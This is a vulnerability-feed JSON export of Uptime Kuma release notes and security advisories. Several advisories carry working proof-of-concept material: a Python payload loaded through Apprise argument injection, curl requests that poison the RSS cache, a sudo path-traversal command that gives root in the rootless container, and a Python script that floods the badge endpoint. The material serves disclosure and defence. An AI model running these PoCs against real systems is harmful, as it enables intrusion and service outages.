{"items":[{"id":12029,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.12","summary":"Security keywords: security\n\n⬆️ Security Fixes\n\n#8187 fix: sandbox a dangerous library\n\n#8167 chore: Update dependencies","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.12","published_at":"2026-11-17T15:26:08Z","updated_at":null,"fetched_at":"2026-11-22T13:40:14.883742Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","security"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12029","html":"https://vulnwatch.ve1ve2.com/item/12029"}},{"id":12030,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.11","summary":"Security keywords: security, GHSA-437W-J82F-9VJH, rce\n\n⬆️ Security Fixes\n\n#8094 chore: Update dependencies\n\nGHSA-437w-j82f-9vjh fix: [Admin Only] RCE via an upstream package's regression (Details will be revealed after 7 days) (Thanks @Tomer-PL)","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.11","published_at":"2026-11-12T14:02:15Z","updated_at":null,"fetched_at":"2026-11-22T13:40:14.883742Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-437w-j82f-9vjh","vuln_ids":["GHSA-437W-J82F-9VJH"],"tags":["release","repo:louislam/uptime-kuma","security"],"cluster_id":11342,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12030","html":"https://vulnwatch.ve1ve2.com/item/12030"}},{"id":12031,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.10","summary":"Security keywords: security, vulnerability\n\n🐞 Bug Fixes\n\n#8138 fix: reset password for embedded MariaDB\n\n⬆️ Security Fixes\n\n[Docker] Update Node.js to 22.23.5 - Upstream high severity issues could possibly affect Uptime Kuma (Read more: https://nodejs.org/en/blog/vulnerability/november-2026-security-releases)\n\nPS: For non-Docker, you should update your Node.js to the patched version too.","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.10","published_at":"2026-11-12T04:02:08Z","updated_at":null,"fetched_at":"2026-11-22T13:40:14.883743Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","security"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12031","html":"https://vulnwatch.ve1ve2.com/item/12031"}},{"id":12033,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.8","summary":"Fixes advisories: GHSA-v2p3-6f5h-6hhf\n\nSecurity keywords: security, GHSA-V2P3-6F5H-6HHF, rce\n\n🐞 Bug Fixes\n\n#8049 fix: Docker verification check sometimes not catching invalid responses (2.5.X backport) (Thanks @Abestanis)\n\n#8038 fix: add next-slim-rootless docker tag\n\n#8028 fix: drop TLS support for the TCP Port monitor (It never worked as expected and very buggy, all existing monitors will become normal TCP monitors)\n\n⬆️ Security Fixes\n\nGHSA-v2p3-6f5h-6hhf [Admin Only] Authenticated RCE via Apprise CLI Argument Injection (Thanks @Sami111-Afk)\n\nOthers\n\n#8037 revert: hide/show password toggle in login page (#7672) (Because the height is inconsistent)","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.8","published_at":"2026-11-02T05:56:48Z","updated_at":null,"fetched_at":"2026-11-22T13:40:14.883744Z","severity":"high","cvss_score":8.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-v2p3-6f5h-6hhf","vuln_ids":["GHSA-V2P3-6F5H-6HHF"],"tags":["release","repo:louislam/uptime-kuma","security"],"cluster_id":11309,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12033","html":"https://vulnwatch.ve1ve2.com/item/12033"}},{"id":12007,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-v2p3-6f5h-6hhf: Authenticated RCE via Apprise CLI Argument Injection (Missing -- Separator)","summary":"Authenticated RCE via Apprise CLI Argument Injection (Missing -- Separator)\n\n### Summary\r\n\r\n The Apprise notification provider passes user-controlled appriseURL directly as a CLI argument to spawn(\"apprise\", ...) without a -- separator. Any authenticated user can inject arbitrary CLI flags, including --plugin-path which loads and executes arbitrary Python files. Combined with any file-write primitive, this results in full RCE. Additionally, --config=URL enables authenticated SSRF. Argument injection confirmed on production (--help, --version return success; --config fetches external URLs; --plugin-path scans directories).\r\n\r\n### Details\r\n\r\nIn server/notification-providers/apprise.js lines 13-18:\r\n\r\n    const args = [\"-vv\", \"-b\", msg, notification.appriseURL];\r\n    const s = await childProcessAsync.spawn(\"apprise\", args, { encoding: \"utf8\" });\r\n\r\n  No -- separator before user input. Values starting with - are parsed as CLI flags by Apprise's click argument parser.\r\n\r\n  --plugin-path=DIR scans for .py files and imports them as Python modules. Python executes module-level code at import time — before any notification URL validation. RCE fires even though Apprise exits with \"no URLs\" error.\r\n\r\n  Fix: add \"--\" before notification.appriseURL (one line).\r\n\r\n### Proof of concept\r\n\r\nLocal reproduction (confirmed):\r\n\r\n  mkdir -p /tmp/evil\r\n  echo 'import os;os.system(\"id>/tmp/pwned.txt\")' > /tmp/evil/pwn.py\r\n\r\n  # Simulate exact UK spawn:\r\n  node -e \"require('child_process').spawn('apprise',\r\n    ['-vv','-b','Test','--plugin-path=/tmp/evil'])\r\n    .on('close',()=>console.log(\r\n      require('fs').readFileSync('/tmp/pwned.txt','utf8')))\"\r\n\r\n  Output: uid=1000(sol) gid=1000(sol) groups=1000(sol)\r\n\r\nProduction testing (authorized pentest, UK 2.5.3 Docker):\r\n  appriseURL=\"--help\"    → ok=true \"Sent Successfully\" (flag parsed)\r\n  appriseURL=\"--version\" → ok=true \"Sent Successfully\" (flag parsed)\r\n  appriseURL=\"--config=https://webhook.site/REDACTED\" → Apprise POSTed to URL (SSRF)\r\n  appriseURL=\"--plugin-path=/tmp\" → exit 1, directory scanned\r\n\r\nAutomated PoC via socket.io:\r\n\r\n  sock.emit(\"testNotification\", {\r\n    type: \"apprise\",\r\n    name: \"rce\",\r\n    appriseURL: \"--plugin-path=/tmp/evil\",\r\n  }, callback);\r\n  // RCE executes before callback returns\r\n\r\n\r\n### Impact\r\n\r\nWith any file-write access: full RCE as UK process user. Read database, dump env vars (API keys, DB passwords), reverse shell, container escape if Docker socket mounted, persistent backdoor.\r\n\r\nWithout file-write: authenticated SSRF via --config=URL (confirmed — Apprise fetches arbitrary URLs from server IP).\r\n\r\nThe vulnerability is in the argument parsing, not in Apprise itself. Fix is one line: add \"--\" before user input.\n\nAffected packages: other:uptime-kuma\nPatched: uptime-kuma 2.5.8","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-v2p3-6f5h-6hhf","published_at":"2026-11-02T05:54:44Z","updated_at":"2026-11-02T05:54:44Z","fetched_at":"2026-11-22T13:40:14.883727Z","severity":"high","cvss_score":8.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-v2p3-6f5h-6hhf","vuln_ids":["GHSA-V2P3-6F5H-6HHF"],"tags":["repo-advisory","other","CWE-88","security","repo:louislam/uptime-kuma"],"cluster_id":11309,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12007","html":"https://vulnwatch.ve1ve2.com/item/12007"}},{"id":12032,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.9","summary":"Fixes advisories: GHSA-86ch-2247-gr56\n\nSecurity keywords: security, GHSA-86CH-2247-GR56\n\n🐞 Bug Fixes\n\n#8082 fix: runtime timeout fallback used milliseconds for a seconds field\n\n#8081 fix: reset push monitor retries from the last stored heartbeat\n\n#8079 fix: remove duplicated refresh timer on status page\n\n#8064 fix: display recurring maintenance in its configured timezone (Thanks @kuxiaowo)\n\n⬆️ Security Fixes\n\nGHSA-86ch-2247-gr56 fix: RSS cache poisoning (Thanks @the-arma-of-owl)\n\n#8080 chore: drop outdated apicache, migrate to http-cache-semantics (related to the above issue)\n\n#8050 chore: Update dependencies","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.9","published_at":"2026-10-31T16:03:58Z","updated_at":null,"fetched_at":"2026-11-22T13:40:14.883743Z","severity":"medium","cvss_score":4.3,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-86ch-2247-gr56","vuln_ids":["GHSA-86CH-2247-GR56"],"tags":["release","repo:louislam/uptime-kuma","security"],"cluster_id":11310,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12032","html":"https://vulnwatch.ve1ve2.com/item/12032"}},{"id":12008,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-86ch-2247-gr56: Unauthenticated Host-header injection and RSS cache poisoning","summary":"Unauthenticated Host-header injection and RSS cache poisoning ### Summary GET /status/:slug/rss builds the RSS from the request's Host header (StatusPage.buildRSSUrl in server/model/status_page.js). The response is cached for 5 minutes by apicache, whose key is only req.originalUrl; it does not include Host and does not send Vary: Host. An unauthenticated attacker can request the public RSS URL with Host: attacker.example, poisoning the shared cache. For the next 5 minutes, every client that fetches the same RSS URL receives a channel link pointing to the attacker's domain. The window can be renewed by re-priming. This is link/content spoofing (phishing, brand impersonation), not XSS; the feed library XML-escapes the value. ### Details Affected code: - server/model/status_page.js, buildRSSUrl(): uses request.get(\"host\") to build the link. - server/routers/status-page-router.js: router.get(\"/status/:slug/rss\", cache(\"5 minutes\"), ...) with no Vary: Host. - server/modules/apicache/apicache.js: cache key = req.originalUrl; Host is not included. Preconditions: - Default installation; trustProxy is not required (works with it off). - A public status page slug exists (it is a public URL by design). - Victim fetches /status//rss within the 5-minute TTL. Affected versions: 2.5.8 (current \"2\" image). The same code path is present on master. If trustProxy is enabled, X-Forwarded-Host is also spoofable. No XSS/RCE: the feed library XML-escapes the value. Only the RSS output is affected; HTML SSR and /api/status-page/* bodies are not Host-dependent (tested). ### Proof of concept 1) Prime the cache with an attacker Host: GET /status/hunt-status/rss HTTP/1.1 Host: canonical-evil.example Response contains: http://canonical-evil.example/status/hunt-status curl -sS -H 'Host: canonical-evil.example' \\ http://127.0.0.1:3001/status/hunt-status/rss 2) Fetch the same URL with the normal Host: GET /status/hunt-status/rss HTTP/1.1 Host: 127.0.0.1:3001 The body still contains http://canonical-evil.example/status/hunt-status, served from the shared cache. 3) Independent network namespace (also confirms it is not a local-cookie effect): docker run --rm --network host alpine:latest \\ sh -c \"wget -q -O - 'http://127.0.0.1:3001/status/hunt-status/rss'\" Same evil link. Confirmed in two independent prime→victim rounds, including after the canonical URL's TTL expired; an unprimed control returned the normal URL. Replace \"hunt-status\" with any public status page slug. Raw HTTP/headers/logs are in the attached zip. ### Impact - Pre-auth attacker redirects the RSS channel link (and any item links derived from it) to an attacker domain; feed-reader \"open site\" clicks go to the attacker (phishing / brand impersonation). - Poisoning lasts 5 minutes and can be renewed indefinitely; all clients share the in-process cache. - No XSS, RCE, or data disclosure. Only the RSS out Affected packages: other:uptime-kuma Patched: uptime-kuma 2.5.9","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-86ch-2247-gr56","published_at":"2026-10-31T15:55:27Z","updated_at":"2026-10-31T15:55:27Z","fetched_at":"2026-11-22T13:40:14.883730Z","severity":"medium","cvss_score":4.3,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-86ch-2247-gr56","vuln_ids":["GHSA-86CH-2247-GR56"],"tags":["repo-advisory","other","security","repo:louislam/uptime-kuma"],"cluster_id":11310,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12008","html":"https://vulnwatch.ve1ve2.com/item/12008"}},{"id":12009,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-98hr-q8q8-5j23: Rootless privilege escalation","summary":"Rootless privilege escalation\n\n### Summary\r\n\r\nUsing the rootless containers, it is trivially easy to get root; this negates most of the security benefits and importantly misleads the user into thinking that rootless is safe which might lead to them securing it less / giving it more access to things under the bad assumption that it is safe.\r\n\r\n### Details\r\n\r\nThis is caused by:\r\n1. Rootless containers allow the node user to run `sudo` for a few commands\r\n2. In /etc/sudoers, the commands allowed do not restrict their arguments or anything, allowing for arbitrary usage of them\r\n3. `service`, permitted by sudo without a password, allows arbitrary code execution due to path traversal\r\n\r\nA possible quick fix for this would be only allowing sudo to run `service` with specific arguments rather than arbitrary invocations of it.\r\n\r\n### Proof of concept\r\n\r\nStart running `louislam/uptime-kuma:next-rootless` as a docker container named `uptime`. Then:\r\n```bash\r\n$ docker exec -it uptime sudo /usr/sbin/service ../../bin/sh\r\n```\r\n\r\n### Impact\r\n\r\nAnyone running rootless can be rooted, this negates the security benefits of rootless, and can be extra dangerous if users were extra-permissive with uptime kuma's permissions specifically because it was rootless\n\nAffected packages: :Rootless Docker Image only\nPatched: Rootless Docker Image only 2.5.6","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-98hr-q8q8-5j23","published_at":"2026-10-27T03:01:23Z","updated_at":"2026-10-27T03:01:23Z","fetched_at":"2026-11-22T13:40:14.883731Z","severity":"medium","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"Rootless Docker Image only","vuln_id":"GHSA-98hr-q8q8-5j23","vuln_ids":["GHSA-98HR-Q8Q8-5J23"],"tags":["repo-advisory","","security","repo:louislam/uptime-kuma"],"cluster_id":11311,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12009","html":"https://vulnwatch.ve1ve2.com/item/12009"}},{"id":12684,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.7","summary":"Security keywords: security\n\n### 🐞 Bug Fixes\r\n- #7989 fix: retries ignored by TCP Port monitor with SSL/STARTTLS\r\n\r\n### ⬆️ Security Fixes\r\n- [Docker] Images bumped to Node.js 22.23.4, now it rejects the leaked eMudhra 384 bit CA: `00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:04`. (Thanks @veteranbv)\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.7","published_at":"2026-10-23T05:16:17Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744905Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12684","html":"https://vulnwatch.ve1ve2.com/item/12684"}},{"id":12685,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.6","summary":"Fixes advisories: GHSA-98hr-q8q8-5j23\n\nSecurity keywords: security\n\n### 🐞 Bug Fixes\r\n- #7886 fix: use UptimeCalculator for avg-response badge endpoint \r\n\r\n### ⬆️ Security Fixes\r\n- #7858 chore: Update dependencies \r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.6","published_at":"2026-10-09T15:46:26Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744908Z","severity":"medium","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-98hr-q8q8-5j23","vuln_ids":["GHSA-98HR-Q8Q8-5J23"],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":11311,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12685","html":"https://vulnwatch.ve1ve2.com/item/12685"}},{"id":12010,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-wf2j-5mc7-5c4w: Unauthenticated resource exhaustion DoS in ping badge endpoint via arbitrary monitor IDs","summary":"Unauthenticated resource exhaustion DoS in ping badge endpoint via arbitrary monitor IDs\n\n### Summary\r\nThe public endpoint GET /api/badge/:id/ping/:duration? performs expensive uptime calculator initialization for arbitrary monitor IDs before rejecting non-public or nonexistent monitors. An unauthenticated attacker can send many requests with unique fake monitor IDs, causing resource exhaustion and denial of service.  Once the service becomes unresponsive, all endpoints cease functioning for a time after the active attack ends (around 5-10 minutes in testing), not just the badge one.\r\n\r\n### Details\r\nIn server/routers/api-router.js:\r\n\r\nrouter.get(\"/api/badge/:id/ping/:duration?\", cache(\"5 minutes\"), async (request, response) => {\r\n    allowAllOrigin(response);\r\n    \r\n    ...\r\n    \r\n        const uptimeCalculator = await UptimeCalculator.getUptimeCalculator(requestedMonitorId);\r\n        const avgPing = uptimeCalculator.getDataByDuration(requestedDuration).avgPing; // XXX: This ties up resources\r\n\r\n        const badgeValues = { style };\r\n\r\n        if (!publicMonitor) {\r\n            // return a \"N/A\" badge in naColor (grey), if monitor is not public / not available / non exsitant\r\n\r\nShould check for public earlier, before doing anything expensive, and/or a quicker fail for invalid IDs.\r\n\r\n### PoC\r\n```\r\n#!/usr/bin/env python3\r\nimport time, urllib.request, concurrent.futures\r\n\r\nTARGET = \"http://127.0.0.1:3001\"\r\nTOTAL = 100_000\r\nCONCURRENCY = 100\r\nTIMEOUT = 5\r\nSTART_ID = 1_000_000_000\r\n\r\nok = fail = 0\r\nstart = time.perf_counter()\r\n\r\nprint(f\"Target: {TARGET}\")\r\nprint(f\"Requests: {TOTAL}, concurrency: {CONCURRENCY}\")\r\n\r\nwith concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENCY) as pool:\r\n    futures = [\r\n        pool.submit(\r\n            urllib.request.urlopen,\r\n            f\"{TARGET}/api/badge/{START_ID + i}/ping/24h\",\r\n            timeout=TIMEOUT,\r\n        )\r\n        for i in range(TOTAL)\r\n    ]\r\n\r\n    for n, fut in enumerate(concurrent.futures.as_completed(futures), 1):\r\n        try:\r\n            r = fut.result()\r\n            r.read(128)\r\n            r.close()\r\n            ok += 1\r\n        except Exception:\r\n            fail += 1\r\n\r\n        if n % 1000 == 0:\r\n            hstart = time.perf_counter()\r\n            try:\r\n                h = urllib.request.urlopen(f\"{TARGET}/api/entry-page\", timeout=TIMEOUT)\r\n                h.read(1)\r\n                h.close()\r\n                health = f\"health=ok time={time.perf_counter() - hstart:.2f}s\"\r\n            except Exception:\r\n                health = f\"health=FAIL time={TIMEOUT:.2f}s\"\r\n\r\n            print(\r\n                f\"{n}/{TOTAL} done \"\r\n                f\"ok={ok} fail={fail} \"\r\n                f\"wall={time.perf_counter() - start:.1f}s \"\r\n                f\"{health}\"\r\n            )\r\n\r\n```\r\nTail PoC output:\r\n53000/100000 done ok=53000 fail=0 wall=264.2s health=ok time=0.02s\r\n54000/100000 done ok=54000 fail=0 wall=273.8s health=ok time=0.02s\r\n55000/100000 done ok=55000 fail=0 wall=283.6s health=ok time=0.02s\r\n56000/100000 done ok=56000 fail=0 wall=293.5s health=ok time=0.02s\r\n57000/10000\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 2.5.4","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-wf2j-5mc7-5c4w","published_at":"2026-10-09T02:30:47Z","updated_at":"2026-10-09T02:30:47Z","fetched_at":"2026-11-22T13:40:14.883732Z","severity":"high","cvss_score":7.5,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-77415","vuln_ids":["CVE-2026-77415","GHSA-WF2J-5MC7-5C4W"],"tags":["repo-advisory","","CWE-400","CWE-770","security","repo:louislam/uptime-kuma"],"cluster_id":11312,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12010","html":"https://vulnwatch.ve1ve2.com/item/12010"}},{"id":12686,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.5.5","summary":"### 🐞 Bug Fixes\r\n- #7848 fix: Memory leak from tcp monitor \r\n\r\n\r\n\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.5","published_at":"2026-09-16T13:31:07Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744909Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12686","html":"https://vulnwatch.ve1ve2.com/item/12686"}},{"id":12687,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.4","summary":"Fixes advisories: GHSA-wf2j-5mc7-5c4w\n\nSecurity keywords: security, CVE-2026-77415, GHSA-WF2J-5MC7-5C4W\n\n### 🆕 New Features\r\n- #7801 feat(notification): add Signalgrid as notification provider (Thanks @signalgridco)\r\n- #7740 feat: add Notify! notification provider (Thanks @simplytoast1)\r\n- #7719 feat: add Amoot SMS notification provider (Thanks @sina3sd)\r\n- #7637 fix: omit content headers from cached 304 responses (Thanks @cyphercodes)\r\n- #7034 feat: add SFTP monitor type with password and private key authentication (Thanks @eXtgmA)\r\n\r\n### 💇‍♀️ Improvements\r\n- #7672 feat(auth): hide/show password toggle in login page (Thanks @kilian-nagel)\r\n\r\n### 🐞 Bug Fixes\r\n- #7820 fix(real-browser): always close browser context (Thanks @EmptyPerson)\r\n- #7787 fix: iOS PWA icon has black background (Thanks @konstantintutsch)\r\n- #7739 fix: the two ping timeout ceilings were swapped in the monitor form (Thanks @evnchn)\r\n- #7718 fix:  move afterCreate to initial mariadb pool config (Thanks @otbutz)\r\n- #7690 fix: accepted status codes custom range discarded on tag creation (Thanks @AmanUllah687)\r\n\r\n### ⬆️ Security Fixes\r\n- #7838 fix: bump jsonata to 2.2.2 (CVE-2026-77415) (Thanks @Fierygit @cursoragent)\r\n- GHSA-wf2j-5mc7-5c4w DoS weakness\r\n\r\n### 🦎 Translation Contributions\r\n- #7812 #7757 chore: Translations Update from Weblate (Thanks @12LuA @aindriu80 @Aluisio @AnnAngela @AntonPalmqvist @cyril59310 @dodog @Gringit @helakostain @jamalkamaladdin @Kodashas @mcasellas @ueskici @xavivars)\r\n\r\n\r\n\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.4","published_at":"2026-09-11T10:09:10Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744910Z","severity":"critical","cvss_score":9.3,"epss":0.00892,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-77415","vuln_ids":["CVE-2026-77415","GHSA-WF2J-5MC7-5C4W"],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":11797,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12687","html":"https://vulnwatch.ve1ve2.com/item/12687"}},{"id":12688,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.5.3","summary":"### 🐞 Bug Fixes\r\n- #7754 fix: release with wrong version number \r\n\r\nRead more in 2.5.1 changelog: https://github.com/louislam/uptime-kuma/releases/tag/2.5.1","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.3","published_at":"2026-08-22T09:20:48Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744911Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12688","html":"https://vulnwatch.ve1ve2.com/item/12688"}},{"id":12689,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.5.2","summary":"### 🐞 Bug Fixes\r\n\r\nFix: Non-docker installation was broken in 2.5.1 (issue: #7752)","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.2","published_at":"2026-08-22T08:44:26Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744912Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12689","html":"https://vulnwatch.ve1ve2.com/item/12689"}},{"id":12690,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.5.1","summary":"### 🆕 New Features\r\n- #7720 feat: add SMS Gateway notification provider (Thanks @mattboston)\r\n- #7677 feat: Add ClickUp notification provider (Thanks @nTraum)\r\n- #7640 feat: add TurboSMTP email notification provider (Thanks @NewtTheWolf)\r\n- #7638 feat(notification): add BearSMS SMS provider for Israel (Thanks @nitay12)\r\n- #7632 feat: Add Pinglet notification provider (Thanks @TheGlenn88)\r\n- #7609 feat: add Milky as Notification Provider (Thanks @nope-e)\r\n- #7555 feat: Add openwa notification (Thanks @ron007d)\r\n\r\n### 🐞 Bug Fixes\r\n- #7729 fix: analytics_type's enum check was not removed, even the data type changed to string on SQLite \r\n- #7702 fix(radius): treat Access-Challenge as successful response (#7700) (Thanks @rikkova)\r\n\r\n### 🦎 Translation Contributions\r\n- #7715 #7646 chore: Translations Update from Weblate (Thanks @Aluisio @AntonPalmqvist @ATLWongsatorn @Cutlets @cyril59310 @DJEDIVER @dodog @dukkk2 @Gringit @helakostain @kaindlnetwork @misaka10843 @olafrv @raulmouzo @Regard1ess @steliosk98 @WoutNerd @yeonzi @zazuu0)\r\n\r\n\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.1","published_at":"2026-08-22T06:50:57Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744913Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12690","html":"https://vulnwatch.ve1ve2.com/item/12690"}},{"id":12691,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.0","summary":"Security keywords: security\n\n## 2.5.0\r\n\r\n### Uncategorized\r\n\r\n### 🆕 New Features\r\n- #7645 Add `next-rootless` docker tag \r\n- #7607 feat: allow unlimited interval rather than 24 days \r\n- #7597 feat: add voice call option to Plivo notification provider (Thanks @sarveshpatil-plivo)\r\n- #7584 feat: add Plivo SMS notification provider (Thanks @sarveshpatil-plivo)\r\n- #7571 feat: add Ooredoo (Maldives) SMS notification provider (Thanks @islandboymv)\r\n- #7569 feat: Add WxPusher SPT (WxPusher simple push token) notification provider (Thanks @zjiecode)\r\n- #7546 feat: add Flowtriq DDoS detection notification provider (Thanks @jacob-masse @FlyingDove2493)\r\n- #7525 feat: add tracking support on status pages for rybbit analytics (Thanks @DanielOberlechner)\r\n- #7506 feat(notification): add additional headers option for SMTP (Thanks @dnagy)\r\n- #7214 feat: add NTP monitor type for network time protocol monitoring (Thanks @henricook)\r\n- #7114 feat(system-service): add PM2 picker and platform selection (Thanks @KraoESPfan1n)\r\n\r\n### 💇‍♀️ Improvements\r\n\r\n### 🐞 Bug Fixes\r\n- #7654 fix: correct 12 spelling errors across codebase (Thanks @jannikbx)\r\n- #7641 fix: RSS service status description is wrong \r\n- #7618 fix: widen stat_daily up/down columns from SMALLINT to unsigned INTEGER (Thanks @kushiemoon-dev)\r\n- #7599 fix: reduce rate-limit log spam when quota is healthy (Thanks @hexonal)\r\n- #7590 fix: double // in badgeUrl breaking Badge generator functionality (Thanks @jaimeagudo)\r\n- #7588 fix(domain-expiry): clarify unsupported RDAP warning (Thanks @arturict)\r\n- #7542 